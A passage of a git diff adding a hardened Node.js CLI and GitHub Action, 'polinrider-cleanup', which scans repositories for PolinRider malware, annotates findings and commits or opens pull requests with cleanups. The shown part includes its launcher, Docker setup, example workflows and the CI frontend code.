import path from "node:path";
|
||||
|
||||
const CODEGEN_FLAG = "--disallow-code-generation-from-strings";
|
||||
const FLAGS = [CODEGEN_FLAG];
|
||||
if (process.env.POLINRIDER_FROZEN === "1") FLAGS.push("--frozen-intrinsics");
|
||||
|
||||
const here = path.dirname(fileURLToPath(import.meta.url));
|
||||
const entry = path.resolve(here, "../src/index.js");
|
||||
|
||||
const flagsActive =
|
||||
process.execArgv.includes(CODEGEN_FLAG) ||
|
||||
(process.env.NODE_OPTIONS || "").includes(CODEGEN_FLAG);
|
||||
|
||||
if (flagsActive) {
|
||||
// Flags are already in effect for this process — run the orchestrator here.
|
||||
const mod = await import(entry);
|
||||
await mod.main().catch((err) => {
|
||||
console.error("Fatal error:", err.message);
|
||||
process.exit(2);
|
||||
});
|
||||
} else {
|
||||
// Re-spawn Node with the flags applied at process start, running src/index.js
|
||||
// directly (it auto-runs main() when invoked as the entry point).
|
||||
const nodeOptions = [process.env.NODE_OPTIONS, CODEGEN_FLAG].filter(Boolean).join(" ");
|
||||
const child = spawnSync(process.execPath, [...FLAGS, entry, ...process.argv.slice(2)], {
|
||||
stdio: "inherit",
|
||||
env: { ...process.env, NODE_OPTIONS: nodeOptions, POLINRIDER_HARDENED: "1" },
|
||||
});
|
||||
if (child.error) {
|
||||
console.error("Failed to launch hardened process:", child.error.message);
|
||||
process.exit(2);
|
||||
}
|
||||
process.exit(child.status ?? 1);
|
||||
}
|
||||
Vendored
+11041
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,46 @@
|
||||
services:
|
||||
polinrider-cleanup:
|
||||
build: .
|
||||
image: polinrider-cleanup:latest
|
||||
container_name: polinrider-cleanup
|
||||
|
||||
environment:
|
||||
# Pass your GitHub PAT (needs repo + org:read scopes)
|
||||
# Set this in your shell: export GH_TOKEN=ghp_...
|
||||
- GH_TOKEN=${GH_TOKEN}
|
||||
- GITHUB_TOKEN=${GH_TOKEN} # gh CLI reads either
|
||||
# Target account — set EXACTLY ONE (comment out the other):
|
||||
- GH_ORG=${GH_ORG:-} # an org name, e.g. mycompany
|
||||
- GH_USER=${GH_USER:-} # OR your personal username (scans repos you own)
|
||||
- DRY_RUN=${DRY_RUN:-false} # set to "true" to skip PR creation
|
||||
- GH_REPO=${GH_REPO:-} # optional: scope to one/few repos (comma-separated) for a pilot
|
||||
- AUTO_MERGE=${AUTO_MERGE:-false} # optional: auto-merge cleanup PRs (respects branch protection)
|
||||
- MERGE_METHOD=${MERGE_METHOD:-squash} # squash | merge | rebase
|
||||
- REPORTS_DIR=${REPORTS_DIR:-reports} # JSON + Markdown run reports land here (mounted below)
|
||||
|
||||
# JSON + Markdown scan/remediation reports are written here (host ./reports).
|
||||
volumes:
|
||||
- ./reports:/app/reports
|
||||
|
||||
# No network access except github.com — drop everything else
|
||||
# (requires Docker with custom network + external DNS)
|
||||
# For stricter isolation remove this and use default bridge
|
||||
network_mode: bridge
|
||||
|
||||
# Drop all Linux capabilities — scanner needs none
|
||||
cap_drop:
|
||||
- ALL
|
||||
|
||||
# Read-only root fs — only /workspace and /app/reports are writable
|
||||
read_only: true
|
||||
tmpfs:
|
||||
- /workspace:exec,mode=1777,size=2g
|
||||
- /tmp:mode=1777,size=128m
|
||||
- /home/scanner:mode=755,size=64m
|
||||
|
||||
# Resource limits
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: "2"
|
||||
memory: 3G
|
||||
@@ -0,0 +1,18 @@
|
||||
# Block infected merges. Add `scan` as a REQUIRED status check in your branch
|
||||
# protection / rulesets so a PR can't merge while malware is detected.
|
||||
name: PolinRider scan
|
||||
on: [pull_request]
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: write # only needed for the PR comment; drop if comment-on-pr: false
|
||||
|
||||
jobs:
|
||||
scan:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: RMSoft-ltd/polinrider-cleanup@v1
|
||||
with:
|
||||
mode: check
|
||||
# token defaults to ${{ github.token }} — only needed here for the PR comment
|
||||
@@ -0,0 +1,21 @@
|
||||
# Auto-clean pushes to the default branch and commit the fix back.
|
||||
# commit-back works on push events (not pull_request — see README). Pushes made
|
||||
# with the default GITHUB_TOKEN do NOT retrigger workflows, so there's no loop.
|
||||
name: PolinRider auto-clean
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
|
||||
permissions:
|
||||
contents: write # required to commit the cleanup back
|
||||
|
||||
jobs:
|
||||
clean:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: RMSoft-ltd/polinrider-cleanup@v1
|
||||
with:
|
||||
mode: fix
|
||||
commit: true
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
@@ -0,0 +1,23 @@
|
||||
# Scan the default branch on a schedule and open a cleanup PR if anything is
|
||||
# found. Good for fork PRs / protected branches where commit-back can't push.
|
||||
name: PolinRider weekly scan
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 6 * * 1" # Mondays 06:00 UTC
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: write # create the cleanup branch
|
||||
pull-requests: write # open the PR
|
||||
|
||||
jobs:
|
||||
scan:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: RMSoft-ltd/polinrider-cleanup@v1
|
||||
with:
|
||||
mode: pr
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
# auto-merge: true # respects branch protection
|
||||
# merge-method: squash
|
||||
Generated
+1018
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,30 @@
|
||||
{
|
||||
"name": "polinrider-remover",
|
||||
"version": "2.0.0",
|
||||
"description": "Hardened CLI that scans a GitHub org for PolinRider malware and opens surgical cleanup PRs. Reads target files as inert text only — never executes them.",
|
||||
"type": "module",
|
||||
"bin": {
|
||||
"polinrider": "bin/polinrider.js"
|
||||
},
|
||||
"main": "src/index.js",
|
||||
"engines": {
|
||||
"node": ">=20"
|
||||
},
|
||||
"scripts": {
|
||||
"start": "node bin/polinrider.js",
|
||||
"scan": "node bin/polinrider.js",
|
||||
"test": "node --test",
|
||||
"test:hardened": "node --disallow-code-generation-from-strings --test",
|
||||
"build:action": "node scripts/build-action.mjs"
|
||||
},
|
||||
"dependencies": {
|
||||
"chalk": "^5.3.0",
|
||||
"execa": "^9.5.2",
|
||||
"ora": "^8.1.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"esbuild": "^0.25.0"
|
||||
},
|
||||
"license": "MIT",
|
||||
"private": true
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
/**
|
||||
* Bundle the GitHub Action entrypoint (src/ci.js) into a single self-contained
|
||||
* dist/ci.mjs that the action runner executes with no install step.
|
||||
*
|
||||
* The banner shims `require`/`__dirname`/`__filename` because some transitive
|
||||
* CJS deps of execa (e.g. cross-spawn) call `require('child_process')`, which
|
||||
* does not exist in an ESM bundle without this.
|
||||
*/
|
||||
import { build } from "esbuild";
|
||||
|
||||
const banner = [
|
||||
"import { createRequire as __createRequire } from 'node:module';",
|
||||
"import { fileURLToPath as __fileURLToPath } from 'node:url';",
|
||||
"import { dirname as __pathDirname } from 'node:path';",
|
||||
"const require = __createRequire(import.meta.url);",
|
||||
"const __filename = __fileURLToPath(import.meta.url);",
|
||||
"const __dirname = __pathDirname(__filename);",
|
||||
].join("\n");
|
||||
|
||||
await build({
|
||||
entryPoints: ["src/ci.js"],
|
||||
bundle: true,
|
||||
platform: "node",
|
||||
format: "esm",
|
||||
target: "node20",
|
||||
outfile: "dist/ci.mjs",
|
||||
banner: { js: banner },
|
||||
legalComments: "none",
|
||||
});
|
||||
|
||||
console.log("built dist/ci.mjs");
|
||||
@@ -0,0 +1,536 @@
|
||||
import "./safety.js"; // MUST be first — neutralizes eval/Function/vm at import time.
|
||||
|
||||
/**
|
||||
* GitHub Action frontend (CI mode).
|
||||
*
|
||||
* Scans the ALREADY-CHECKED-OUT repository (no clone, no org listing) and, based
|
||||
* on `mode`, fails the check, cleans the working tree, or opens a cleanup PR.
|
||||
* Reuses the same engine as the org-sweep CLI — scanRepo() + remediate() + the
|
||||
* report builders — all of which operate on a plain local directory.
|
||||
*
|
||||
* mode=check Scan only. Exit non-zero when severity meets `fail-on` so a
|
||||
* required status check blocks an infected merge. No token needed.
|
||||
* mode=fix Scan → surgically remediate the working tree. With commit=true
|
||||
* (and on a push event) also commit + push the cleanup back.
|
||||
* mode=pr Scan → remediate → open a cleanup PR (mirrors the CLI's openPR).
|
||||
*
|
||||
* Inputs arrive as INPUT_* env vars (GitHub Actions convention). Each setting
|
||||
* also falls back to its legacy env name (GH_TOKEN, DRY_RUN, AUTO_MERGE,
|
||||
* MERGE_METHOD, BRANCH_PREFIX) so consumers can configure via `with:` or `env:`.
|
||||
*
|
||||
* SAFETY: no target file content is ever require()'d/import()'d/eval()'d; every
|
||||
* subprocess still goes through src/safe-exec.js (git/gh only).
|
||||
*/
|
||||
|
||||
import fs from "node:fs";
|
||||
import fsp from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { scanRepo } from "./scanner.js";
|
||||
import { remediate } from "./remediator.js";
|
||||
import { buildPrBody, PR_TITLE, findingLines, resultLines } from "./report.js";
|
||||
import { safeGit, safeGh } from "./safe-exec.js";
|
||||
import { buildSarif } from "./sarif.js";
|
||||
|
||||
const BOT_EMAIL = "polinrider-cleanup-bot@users.noreply.github.com";
|
||||
const BOT_NAME = "PolinRider Cleanup Bot";
|
||||
const PROJECT_URL = "https://github.com/RMSoft-ltd/polinrider-cleanup";
|
||||
|
||||
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
|
||||
const oneLine = (s) => (s || "").trim().split("\n")[0];
|
||||
|
||||
// ─── Inputs (INPUT_* with legacy-env fallback) ───────────────────────────────
|
||||
|
||||
/** Mirror @actions/core.getInput: INPUT_<NAME>, uppercased, spaces→underscore. */
|
||||
function input(name) {
|
||||
const v = process.env[`INPUT_${name.replace(/ /g, "_").toUpperCase()}`];
|
||||
return v === undefined ? "" : v.trim();
|
||||
}
|
||||
const bool = (v) => /^(true|1|yes|on)$/i.test(String(v).trim());
|
||||
|
||||
export function resolveSettings() {
|
||||
const commentRaw = input("comment-on-pr");
|
||||
return {
|
||||
mode: (input("mode") || "check").toLowerCase(),
|
||||
scanPath: input("path") || ".",
|
||||
exclude: input("exclude") || process.env.POLINRIDER_EXCLUDE || "",
|
||||
token:
|
||||
input("token") || process.env.GH_TOKEN || process.env.GITHUB_TOKEN || "",
|
||||
failOn: (input("fail-on") || "infected").toLowerCase(),
|
||||
commit: bool(input("commit")), // default false
|
||||
commentOnPr: commentRaw === "" ? true : bool(commentRaw),
|
||||
sarifFile: input("sarif-file") || process.env.SARIF_FILE || "",
|
||||
dryRun: input("dry-run")
|
||||
? bool(input("dry-run"))
|
||||
: process.env.DRY_RUN === "true",
|
||||
autoMerge: input("auto-merge")
|
||||
? bool(input("auto-merge"))
|
||||
: process.env.AUTO_MERGE === "true",
|
||||
mergeMethod: (
|
||||
input("merge-method") ||
|
||||
process.env.MERGE_METHOD ||
|
||||
"squash"
|
||||
).toLowerCase(),
|
||||
branchPrefix:
|
||||
input("branch-prefix") ||
|
||||
process.env.BRANCH_PREFIX ||
|
||||
"fix/polinrider-cleanup",
|
||||
};
|
||||
}
|
||||
|
||||
// ─── GitHub Actions I/O (outputs, summary, annotations) ──────────────────────
|
||||
|
||||
function setOutput(name, value) {
|
||||
const file = process.env.GITHUB_OUTPUT;
|
||||
if (!file) return;
|
||||
try {
|
||||
fs.appendFileSync(file, `${name}=${value}\n`);
|
||||
} catch {
|
||||
/* ignore — outputs are best-effort */
|
||||
}
|
||||
}
|
||||
|
||||
function appendSummary(md) {
|
||||
const file = process.env.GITHUB_STEP_SUMMARY;
|
||||
if (!file) return;
|
||||
try {
|
||||
fs.appendFileSync(file, md.endsWith("\n") ? md : md + "\n");
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
// Workflow-command escaping differs between the message and property values.
|
||||
const escData = (s) =>
|
||||
String(s).replace(/%/g, "%25").replace(/\r/g, "%0D").replace(/\n/g, "%0A");
|
||||
const escProp = (s) => escData(s).replace(/,/g, "%2C").replace(/:/g, "%3A");
|
||||
|
||||
function annotate(level, { file, line, title, message }) {
|
||||
const props = [];
|
||||
if (file) props.push(`file=${escProp(file)}`);
|
||||
if (line) props.push(`line=${line}`);
|
||||
if (title) props.push(`title=${escProp(title)}`);
|
||||
console.log(
|
||||
`::${level}${props.length ? " " + props.join(",") : ""}::${escData(message)}`,
|
||||
);
|
||||
}
|
||||
const notice = (m) => console.log(`::notice::${escData(m)}`);
|
||||
const warn = (m) => console.log(`::warning::${escData(m)}`);
|
||||
|
||||
// ─── Severity / line helpers ─────────────────────────────────────────────────
|
||||
|
||||
const SEVERITY_RANK = { clean: 0, suspicious: 1, infected: 2 };
|
||||
|
||||
export function failThreshold(failOn) {
|
||||
if (failOn === "never") return Infinity;
|
||||
if (failOn === "suspicious") return SEVERITY_RANK.suspicious;
|
||||
return SEVERITY_RANK.infected; // default + "infected"
|
||||
}
|
||||
|
||||
/** 1-based line for a finding that carries a char offset (js payloads), else 1. */
|
||||
function findingLine(repoDir, f) {
|
||||
const offset = f.edit?.offset;
|
||||
if (!(offset > 0)) return 1;
|
||||
try {
|
||||
const text = fs.readFileSync(path.join(repoDir, f.file), "utf8");
|
||||
if (offset > text.length) return 1;
|
||||
return text.slice(0, offset).split("\n").length;
|
||||
} catch {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
/** Repo-root-relative path so GitHub maps the annotation onto the PR diff. */
|
||||
function annotationPath(workspace, repoDir, relFile) {
|
||||
return path.relative(workspace, path.join(repoDir, relFile)) || relFile;
|
||||
}
|
||||
|
||||
function emitAnnotations(workspace, repoDir, findings) {
|
||||
for (const f of findings.findings) {
|
||||
annotate(f.contentConfirmed ? "error" : "warning", {
|
||||
file: annotationPath(workspace, repoDir, f.file),
|
||||
line: findingLine(repoDir, f),
|
||||
title: f.contentConfirmed ? "PolinRider malware" : "PolinRider (review)",
|
||||
message: f.description,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// ─── Run report (job summary + PR comment body) ──────────────────────────────
|
||||
|
||||
export function buildSummary({ settings, findings, result }) {
|
||||
const icon =
|
||||
findings.severity === "infected"
|
||||
? "🔴"
|
||||
: findings.severity === "suspicious"
|
||||
? "🟡"
|
||||
: "🟢";
|
||||
const out = [
|
||||
"## 🛡️ PolinRider Malware Scan",
|
||||
"",
|
||||
`**Mode:** \`${settings.mode}\`${settings.dryRun ? " (dry run)" : ""} · **Severity:** ${icon} \`${findings.severity}\` · **Findings:** ${findings.findings.length}`,
|
||||
"",
|
||||
];
|
||||
if (findings.findings.length) {
|
||||
out.push("### Findings");
|
||||
for (const l of findingLines(findings)) out.push(`- ${l}`);
|
||||
out.push("");
|
||||
} else {
|
||||
out.push("No PolinRider signatures found. ✅", "");
|
||||
}
|
||||
if (result) {
|
||||
out.push(
|
||||
settings.dryRun ? "### Planned remediation (dry run)" : "### Remediation",
|
||||
);
|
||||
const lines = resultLines(result);
|
||||
if (lines.length) for (const l of lines) out.push(`- ${l}`);
|
||||
else out.push("- (no changes)");
|
||||
out.push("");
|
||||
}
|
||||
if (findings.manualReview.length) {
|
||||
out.push("### Needs manual review");
|
||||
for (const m of findings.manualReview) out.push(`- ${m}`);
|
||||
out.push("");
|
||||
}
|
||||
out.push("---", `_Generated by [polinrider-cleanup](${PROJECT_URL})._`);
|
||||
return out.join("\n");
|
||||
}
|
||||
|
||||
// ─── git identity / commit-back / PR (fix & pr modes) ────────────────────────
|
||||
|
||||
async function configureIdentity(repoDir) {
|
||||
await safeGit(["-C", repoDir, "config", "user.email", BOT_EMAIL]);
|
||||
await safeGit(["-C", repoDir, "config", "user.name", BOT_NAME]);
|
||||
}
|
||||
const tokenUrl = (fullName, token) =>
|
||||
`https://x-access-token:${token}@github.com/${fullName}.git`;
|
||||
|
||||
function readEvent() {
|
||||
const p = process.env.GITHUB_EVENT_PATH;
|
||||
if (!p) return null;
|
||||
try {
|
||||
return JSON.parse(fs.readFileSync(p, "utf8"));
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/** fix + commit=true → commit the cleaned tree and push it back to the branch. */
|
||||
async function commitBack(repoDir, settings) {
|
||||
const event = process.env.GITHUB_EVENT_NAME || "";
|
||||
if (event.startsWith("pull_request")) {
|
||||
warn(
|
||||
"commit skipped on pull_request events (detached HEAD / forks can't be pushed). Use mode: pr, or run fix on push events.",
|
||||
);
|
||||
return false;
|
||||
}
|
||||
const fullName = process.env.GITHUB_REPOSITORY;
|
||||
if (!fullName || !settings.token) {
|
||||
warn("commit skipped — GITHUB_REPOSITORY or token unavailable.");
|
||||
return false;
|
||||
}
|
||||
let branch = process.env.GITHUB_REF_NAME;
|
||||
if (!branch) {
|
||||
const rp = await safeGit([
|
||||
"-C",
|
||||
repoDir,
|
||||
"rev-parse",
|
||||
"--abbrev-ref",
|
||||
"HEAD",
|
||||
]);
|
||||
branch = rp.stdout.trim();
|
||||
}
|
||||
if (!branch || branch === "HEAD") {
|
||||
warn(
|
||||
"commit skipped — could not resolve a branch to push to (detached HEAD).",
|
||||
);
|
||||
return false;
|
||||
}
|
||||
await configureIdentity(repoDir);
|
||||
await safeGit(["-C", repoDir, "add", "-A"]);
|
||||
const staged = await safeGit([
|
||||
"-C",
|
||||
repoDir,
|
||||
"diff",
|
||||
"--cached",
|
||||
"--name-only",
|
||||
]);
|
||||
if (!staged.stdout.trim()) return false;
|
||||
const commit = await safeGit([
|
||||
"-C",
|
||||
repoDir,
|
||||
"commit",
|
||||
"-m",
|
||||
"security: remove PolinRider malware artifacts\n\nAutomated cleanup by the polinrider-cleanup action.",
|
||||
]);
|
||||
if (commit.exitCode !== 0) {
|
||||
warn(`commit failed: ${oneLine(commit.stderr)}`);
|
||||
return false;
|
||||
}
|
||||
const push = await safeGit([
|
||||
"-C",
|
||||
repoDir,
|
||||
"push",
|
||||
tokenUrl(fullName, settings.token),
|
||||
`HEAD:${branch}`,
|
||||
]);
|
||||
if (push.exitCode !== 0) {
|
||||
warn(
|
||||
`push to ${branch} failed (protected branch?): ${oneLine(push.stderr)}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
notice(`Cleaned files committed and pushed to ${branch}.`);
|
||||
return true;
|
||||
}
|
||||
|
||||
/** pr mode → new branch, commit, push, open PR. Mirrors index.js openPR(). */
|
||||
async function openCleanupPr(repoDir, settings, findings, result) {
|
||||
const fullName = process.env.GITHUB_REPOSITORY;
|
||||
if (!fullName) throw new Error("GITHUB_REPOSITORY is not set");
|
||||
if (!settings.token)
|
||||
throw new Error(
|
||||
"a token is required for mode: pr (set `token:` or GH_TOKEN)",
|
||||
);
|
||||
|
||||
const branch = `${settings.branchPrefix}-${Date.now()}`;
|
||||
await configureIdentity(repoDir);
|
||||
const co = await safeGit(["-C", repoDir, "checkout", "-b", branch]);
|
||||
if (co.exitCode !== 0)
|
||||
throw new Error(`branch creation failed: ${oneLine(co.stderr)}`);
|
||||
await safeGit(["-C", repoDir, "add", "-A"]);
|
||||
const staged = await safeGit([
|
||||
"-C",
|
||||
repoDir,
|
||||
"diff",
|
||||
"--cached",
|
||||
"--name-only",
|
||||
]);
|
||||
if (!staged.stdout.trim())
|
||||
return { skipped: true, reason: "no staged changes after remediation" };
|
||||
const commit = await safeGit([
|
||||
"-C",
|
||||
repoDir,
|
||||
"commit",
|
||||
"-m",
|
||||
`${PR_TITLE}\n\nAutomated surgical cleanup by the polinrider-cleanup action.`,
|
||||
]);
|
||||
if (commit.exitCode !== 0)
|
||||
throw new Error(`commit failed: ${oneLine(commit.stderr)}`);
|
||||
const push = await safeGit([
|
||||
"-C",
|
||||
repoDir,
|
||||
"push",
|
||||
tokenUrl(fullName, settings.token),
|
||||
branch,
|
||||
]);
|
||||
if (push.exitCode !== 0)
|
||||
throw new Error(`push failed: ${oneLine(push.stderr)}`);
|
||||
|
||||
const body = buildPrBody({ findings, result });
|
||||
const base = [
|
||||
"pr",
|
||||
"create",
|
||||
"--repo",
|
||||
fullName,
|
||||
"--title",
|
||||
PR_TITLE,
|
||||
"--body",
|
||||
body,
|
||||
"--head",
|
||||
branch,
|
||||
];
|
||||
let pr = await safeGh([...base, "--label", "security"], {}, settings.token);
|
||||
if (pr.exitCode !== 0) pr = await safeGh(base, {}, settings.token); // retry without label (may not exist)
|
||||
if (pr.exitCode !== 0)
|
||||
throw new Error(`PR creation failed: ${oneLine(pr.stderr)}`);
|
||||
const url = pr.stdout.trim();
|
||||
|
||||
if (!settings.autoMerge) return { url, merged: false, mergeError: null };
|
||||
const mergeArgs = [
|
||||
"pr",
|
||||
"merge",
|
||||
url,
|
||||
`--${settings.mergeMethod}`,
|
||||
"--delete-branch",
|
||||
];
|
||||
let merge = await safeGh(mergeArgs, {}, settings.token);
|
||||
if (merge.exitCode !== 0) {
|
||||
await sleep(3000);
|
||||
merge = await safeGh(mergeArgs, {}, settings.token);
|
||||
}
|
||||
if (merge.exitCode === 0) return { url, merged: true, mergeError: null };
|
||||
return {
|
||||
url,
|
||||
merged: false,
|
||||
mergeError: oneLine(merge.stderr || merge.stdout) || "merge failed",
|
||||
};
|
||||
}
|
||||
|
||||
/** Post the run report as a PR comment when on a pull_request event. */
|
||||
async function postPrComment(settings, summaryMd) {
|
||||
if (!settings.commentOnPr) return;
|
||||
if (!(process.env.GITHUB_EVENT_NAME || "").startsWith("pull_request")) return;
|
||||
if (!settings.token) return;
|
||||
const ev = readEvent();
|
||||
const num = ev?.pull_request?.number ?? ev?.number;
|
||||
const fullName = process.env.GITHUB_REPOSITORY;
|
||||
if (!num || !fullName) return;
|
||||
const res = await safeGh(
|
||||
["pr", "comment", String(num), "--repo", fullName, "--body", summaryMd],
|
||||
{},
|
||||
settings.token,
|
||||
);
|
||||
if (res.exitCode !== 0)
|
||||
warn(
|
||||
`could not post PR comment (needs pull-requests: write): ${oneLine(res.stderr)}`,
|
||||
);
|
||||
}
|
||||
|
||||
// ─── Main ────────────────────────────────────────────────────────────────────
|
||||
|
||||
export async function run() {
|
||||
const settings = resolveSettings();
|
||||
if (!["check", "fix", "pr"].includes(settings.mode)) {
|
||||
console.log(
|
||||
`::error::invalid mode "${settings.mode}" (expected check | fix | pr)`,
|
||||
);
|
||||
return 2;
|
||||
}
|
||||
const workspace = process.env.GITHUB_WORKSPACE || process.cwd();
|
||||
const repoDir = path.resolve(workspace, settings.scanPath);
|
||||
console.log(
|
||||
`PolinRider scan — mode=${settings.mode} path=${path.relative(workspace, repoDir) || "."}` +
|
||||
`${settings.dryRun ? " (dry run)" : ""}`,
|
||||
);
|
||||
|
||||
const findings = await scanRepo(repoDir, { exclude: settings.exclude });
|
||||
emitAnnotations(workspace, repoDir, findings);
|
||||
|
||||
let result = null;
|
||||
let prUrl = "";
|
||||
let changed = false;
|
||||
|
||||
if (
|
||||
(settings.mode === "fix" || settings.mode === "pr") &&
|
||||
findings.severity === "infected"
|
||||
) {
|
||||
result = await remediate(repoDir, findings, { dryRun: settings.dryRun });
|
||||
changed = result.changed;
|
||||
|
||||
if (
|
||||
settings.mode === "fix" &&
|
||||
settings.commit &&
|
||||
!settings.dryRun &&
|
||||
changed
|
||||
) {
|
||||
await commitBack(repoDir, settings);
|
||||
}
|
||||
|
||||
if (settings.mode === "pr" && !settings.dryRun) {
|
||||
if (changed) {
|
||||
try {
|
||||
const pr = await openCleanupPr(repoDir, settings, findings, result);
|
||||
if (pr.skipped) {
|
||||
warn(`PR skipped: ${pr.reason}`);
|
||||
} else {
|
||||
prUrl = pr.url;
|
||||
if (pr.merged) notice(`Cleanup PR merged: ${prUrl}`);
|
||||
else if (pr.mergeError)
|
||||
warn(
|
||||
`Cleanup PR opened (auto-merge blocked: ${pr.mergeError}): ${prUrl}`,
|
||||
);
|
||||
else notice(`Cleanup PR opened: ${prUrl}`);
|
||||
}
|
||||
} catch (e) {
|
||||
warn(`PR mode failed: ${e.message}`);
|
||||
}
|
||||
} else {
|
||||
warn(
|
||||
"Infected, but only manual-review items remain — no automated changes to open a PR for.",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Optional SARIF for code-scanning upload.
|
||||
if (settings.sarifFile) {
|
||||
try {
|
||||
const sarif = buildSarif(findings, { repoRoot: workspace, repoDir });
|
||||
const dest = path.resolve(settings.sarifFile);
|
||||
await fsp.mkdir(path.dirname(dest), { recursive: true });
|
||||
await fsp.writeFile(dest, JSON.stringify(sarif, null, 2));
|
||||
setOutput("sarif-file", settings.sarifFile);
|
||||
} catch (e) {
|
||||
warn(`could not write SARIF: ${e.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
// Report: job summary + PR comment.
|
||||
const summaryMd = buildSummary({ settings, findings, result });
|
||||
appendSummary(summaryMd);
|
||||
await postPrComment(settings, summaryMd);
|
||||
|
||||
// Outputs.
|
||||
const remediated = !!(
|
||||
result &&
|
||||
(result.filesModified.length || result.filesDeleted.length)
|
||||
);
|
||||
setOutput("severity", findings.severity);
|
||||
setOutput("infected", String(findings.severity === "infected"));
|
||||
setOutput("findings-count", String(findings.findings.length));
|
||||
setOutput("changed", String(changed));
|
||||
setOutput("remediated", String(remediated));
|
||||
if (prUrl) setOutput("pr-url", prUrl);
|
||||
|
||||
// Exit code.
|
||||
const threshold = failThreshold(settings.failOn);
|
||||
const sev = SEVERITY_RANK[findings.severity] ?? 0;
|
||||
const wouldFailSeverity = threshold !== Infinity && sev >= threshold;
|
||||
let code = 0;
|
||||
if (settings.mode === "check" || settings.dryRun) {
|
||||
code = wouldFailSeverity ? 1 : 0;
|
||||
} else if (settings.mode === "fix") {
|
||||
// Cleaned what it could; fail only if confirmed items remain unresolved.
|
||||
const unresolved =
|
||||
findings.findings.filter(
|
||||
(f) => f.contentConfirmed && f.action === "manual-review",
|
||||
).length +
|
||||
(result?.skipped?.filter((s) => s.finding.contentConfirmed).length ?? 0);
|
||||
code =
|
||||
threshold !== Infinity &&
|
||||
findings.severity === "infected" &&
|
||||
unresolved > 0
|
||||
? 1
|
||||
: 0;
|
||||
} else if (settings.mode === "pr") {
|
||||
// PR opened (or nothing to fix). Fail only if infected and no PR was opened.
|
||||
code =
|
||||
threshold !== Infinity && findings.severity === "infected" && !prUrl
|
||||
? 1
|
||||
: 0;
|
||||
}
|
||||
|
||||
console.log(
|
||||
findings.severity === "infected"
|
||||
? `Result: INFECTED — ${findings.findings.length} finding(s).`
|
||||
: findings.severity === "suspicious"
|
||||
? "Result: suspicious file layout — no confirmed payload."
|
||||
: "Result: clean.",
|
||||
);
|
||||
return code;
|
||||
}
|
||||
|
||||
// Auto-run when invoked directly (the bundled action, or `node src/ci.js`), but
|
||||
// NOT when imported by a test.
|
||||
const invokedDirectly =
|
||||
process.argv[1] &&
|
||||
path.resolve(process.argv[1]) === fileURLToPath(import.meta.url);
|
||||
if (invokedDirectly) {
|
||||
run()
|
||||
.then((code) => process.exit(code))
|
||||
.catch((err) => {
|
||||
console.log(`::error::${escData(err.message)}`);
|
||||
process.exit(1);
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
/**
|
||||
* Build a path matcher from a list of ignore patterns, so a scan can skip files
|
||||
* that are known-legitimate but would otherwise match (e.g. this very tool's own
|
||||
* signature definitions and payload fixtures). Dependency-free — a minimal glob.
|
||||
*
|
||||
* Patterns are matched against POSIX, repo-relative paths. Supported forms:
|
||||
* - exact file: src/signatures.js
|
||||
* - directory: dist (or dist/ — matches everything under it)
|
||||
* - glob: test/** **\/fixtures/** *.min.js
|
||||
* `*` matches within a path segment; `**` matches across segments.
|
||||
*/
|
||||
|
||||
const normalize = (p) =>
|
||||
(p || "").replace(/\\/g, "/").replace(/^\.\//, "").replace(/\/+$/, "");
|
||||
|
||||
function globToRegExp(glob) {
|
||||
let re = "";
|
||||
for (let i = 0; i < glob.length; i++) {
|
||||
const c = glob[i];
|
||||
if (c === "*") {
|
||||
if (glob[i + 1] === "*") {
|
||||
re += ".*"; // ** → any chars, including "/"
|
||||
i++;
|
||||
} else {
|
||||
re += "[^/]*"; // * → any chars except "/"
|
||||
}
|
||||
} else if (c === "?") {
|
||||
re += "[^/]";
|
||||
} else if ("\\^$.|+()[]{}".includes(c)) {
|
||||
re += "\\" + c;
|
||||
} else {
|
||||
re += c;
|
||||
}
|
||||
}
|
||||
return new RegExp("^" + re + "$");
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {string[]|string} patterns array, or comma/newline-separated string
|
||||
* @returns {(relPosixPath: string) => boolean}
|
||||
*/
|
||||
export function buildExcluder(patterns) {
|
||||
const list = Array.isArray(patterns)
|
||||
? patterns
|
||||
: String(patterns || "").split(/[,\n]/);
|
||||
const specs = list
|
||||
.map((p) => normalize(p.trim?.() ?? p))
|
||||
.filter(Boolean)
|
||||
.map((n) => ({ prefix: n, re: globToRegExp(n) }));
|
||||
|
||||
if (specs.length === 0) return () => false;
|
||||
return (rel) => {
|
||||
const r = (rel || "").replace(/\\/g, "/");
|
||||
return specs.some((s) => r === s.prefix || r.startsWith(s.prefix + "/") || s.re.test(r));
|
||||
};
|
||||
}
|
||||
+176
@@ -0,0 +1,176 @@
|
||||
/**
|
||||
* Font payload-carrier analysis.
|
||||
*
|
||||
* PolinRider has a variant that drops a malicious file into public/fonts (or
|
||||
* static/, assets/fonts/). We flag a font ONLY when it is both:
|
||||
